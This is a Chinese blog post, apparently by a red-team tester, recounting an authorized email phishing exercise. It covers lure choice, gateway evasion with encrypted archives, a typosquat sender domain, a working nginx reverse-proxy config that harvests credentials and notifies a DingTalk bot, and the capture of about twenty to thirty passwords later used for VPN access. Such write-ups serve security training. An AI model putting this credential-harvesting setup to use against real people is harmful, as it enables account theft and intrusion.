banner
毅种循环

毅种循环

请将那贻笑罪过以逐字吟咏 如对冰川投以游丝般倾诉

郵件釣魚論 之一

記錄一次之前的釣魚。

之前有個甲方開展演練,不限制攻擊手法,正巧一般都是硬打進去的,這次正好寫一下釣魚。
很簡單,全是基礎的東西,輕噴。

0x01 為什麼要釣魚#

正常來說,無論是護網還是高級滲透項目,目標肯定是做了好幾輪測試的,要從外圍找到點,很難。
但是在允許釣魚的情況下,人的習慣行為存在安全風險的因素往往要大得多。
員工充滿了不確定性,這也是 EDR 和殺毒無法保證的一個地方。
本文是一個郵件釣魚,當然除了郵件釣魚外,我們還可以 U 盤釣魚,wifi 近源釣魚,社交工具釣魚等方式,具體使用什麼方式做釣魚演練,還要結合目標實際情況,針對性的進行方案設計。

0X02 信息收集#

在釣魚活動之前,先得清楚誰是那個誰是魚,一般來說只要不是針對特定單獨目標的,往往是群發的,都需要做信息收集。

需要收集的信息有:

  1. 姓名
  2. 職務
  3. 手機
  4. 郵箱信息

其中最重要的就是郵箱信息,建議從以上幾個地方獲取信息:

  1. 搜郵箱
  2. hunter
  3. snov.io

其中搜郵箱可以從域名獲得郵件信息。
image.png

無論使用的是哪種途徑獲得了郵件信息,都離不開兩步,去重和驗證存活。
驗證存活的地方不多說,很多服務商都有提供這種服務。

本次案例沒有進行前期的郵箱信息收集,而是用了個漏洞獲取到了該目標的通訊錄,根據職位和部門準備了魚餌。

0x02 魚餌準備#

確定目標之後,接下來就是準備魚餌,魚餌的選擇有很多,常見的是目標和魚餌如下:

  1. 放假通知:這個針對全員部門,攻擊者需要冒充的角度肯定是 HR。
  2. 薪資調整通知:這個針對特定人或者一個部門都可以,實踐中成功率相當的高,冒充的角度也得是 HR 或者部門經理。
  3. 商務合作洽談通知:這個攻擊面只能是針對市場運營或者部分特定人,冒充的角度可以是外部聯繫人。
  4. 檢舉材料:建議少用,一些比較大的企業具有一個反貪的部門,這個部門的信息往往是公開的,攻擊者只需要捏造一些關於某領導或者某分部存在的負面信息,也包括桃色新聞。我就沒看到過不點開的,這是他們職責所在。利用此釣魚,往往都會成功,但是事後影響會特別嚴重,實踐中也不乏有登報道歉的案例。

釣魚是讓你釣魚,不是讓你造謠惹是生非的
總體來說,無論是利用什麼,總的還是利用一個人的心理,只要標題夠巧,能吸引人點擊,就算成功。

0x03 魚鉤製作#

製作魚鉤前,得想清楚兩件事:

  1. 是要獲取單獨人的 PC 權限?

思考:

  • 獲取 PC 權限需要執行文件,在此之前,你確保你了解對方所使用的殺毒軟件?
  • 你所製作的 EXE,能夠在不同的 Windows 版本 / 環境上執行嗎?
  1. 是要獲取儘可能多的密碼?
  • 獲取儘可能多的密碼的情況下,必定要大規模的批量群發,比較敏感的部門,你可能只有一次機會。獲取到的這些密碼準備用來幹什麼?

釣魚無非就權限或者密碼本,想清楚這兩個不同的方向帶來的收穫往往不同。權限當然是最快的,但是得考慮殺毒,密碼可能是收穫不大的,但是動静較小。

0x04 釣魚頁面準備#

拋開上面的附件釣魚不談,很簡單,只需要想方設法的讓對方點擊附件即可,一般都是直接附帶在郵箱裡,利用加密壓縮包繞過郵件網關檢測。
有些檢測比較嚴格的,會單獨攔截附件的,就要使用比如把附件單獨拉一個網站上讓目標人員主動去進行下載。
重點在於,釣魚的頁面需要結合客戶的系統去進行冒充,對於外部的方式建議是用 oa,mail,VPN 等頁面進行仿冒。
對於內部,如展開二次釣魚的情況下,建議是對目標內部關鍵系統進行冒充,假如知識庫,堡壘機,代碼庫等頁面。

無論最終採用哪一種方式,都需要儘可能的減少目標的感知。

介紹到此結束,下面進入實踐案例。

0x05 實踐#

在此之前,小夥伴已經拿到了通訊錄,經過前期的踩點,我們也找到了處於外部的 mail 系統,同時也發現了外部的 VPN 系統。
個人的思路就是,套取更可能多的密碼,用來碰撞 VPN。
利用 nginx 反代去套他們的頁面,只需要監聽日誌即可獲得帳號密碼,無成本的利用方式。

server {
listen 80;
server_name example.com;  # 需要替換為釣魚網站的域名
access_log /var/log/nginx/access.log;

location / {
    proxy_pass http://phishing-site.com;  # 需要替換為釣魚網站的真實 URL
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

# 记录用户访问信息
access_log /var/log/nginx/phishing.log;

# 将用户访问信息推送到钉钉机器人
post_action @notify;
}

location @notify {
internal;
proxy_pass https://oapi.dingtalk.com/robot/send?access_token=YOUR_ACCESS_TOKEN;  # 需要替換為釣魚機器人的訪問 token
proxy_set_header Content-Type application/json;
proxy_set_header charset utf-8;
proxy_method POST;

# 钉钉机器人推送内容,包含用户访问信息
proxy_set_body '
{
    "msgtype": "text",
    "text": {
        "content": "用户访问了钓鱼网站:$host\n访问IP:$remote_addr\n访问时间:$time_local"
    }
}
';
}
}

以上是一段反代配置,並且提醒給釘釘的機器人,就不用一直看著日誌了。

在套好模板之後,開始計劃魚餌,我選用的魚餌也很簡單,就是一份處罰公告,具體如下:
image.png
此處的郵件伺服器是買的一個相近域名來做的,假如目標是 baidu.com。
購買的域名是 baldu.com,郵件主題為 hrm @baldu.com。
藍色部分是超鏈接,實際指向為反代後的地址。
擬了一份根據規則行為制度所寫的處罰報告,附件裡給出了公司的行為規則 PDF,以及目標群體的姓名和郵箱。
選取了大概 30 個人發送一批,依次發送了 3 批左右。
image.png

效果很好,大概收穫了二三十個帳號密碼,利用一些員工的帳號密碼也成功的登錄上了 VPN 系統。
圖就不再展示了

0x06 思考#

釣魚和社工都是一門藝術,我見過有靠純釣魚和社工打穿目標的大佬,所展現的心理素質和各種身份的切換,爐火純青。。
本文只是一個簡單的引用,水坑攻擊中要高級的多,存在數不勝數的利用方式。
代碼需要結合目標所處的環境來編寫,假如目標的關鍵系統設置了手機驗證碼,如何在他輸入正確的驗證碼之後迅速傳回到你這邊來呢?
假如對方一直爆破你的登錄口,填充錯誤的信息,是不是該篩選雜亂數據出去呢?
假如做的很單薄,目標一直去登錄你的頁面卻遲遲登錄不進去,是不是可以做一個判斷帳號密碼是否正確,正確的進行 302 重定向來不引起目標的注意呢?
這方面該學的確實還有很多。
打點?不如釣魚.jpg
b5d4092a8f7a41cf0e9c3e6c1e6efff.jpg

0x07 題外話#

想起一個題外話,有一次被藍隊反釣魚了,非常之有趣。
有機會可以寫寫這個事情。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。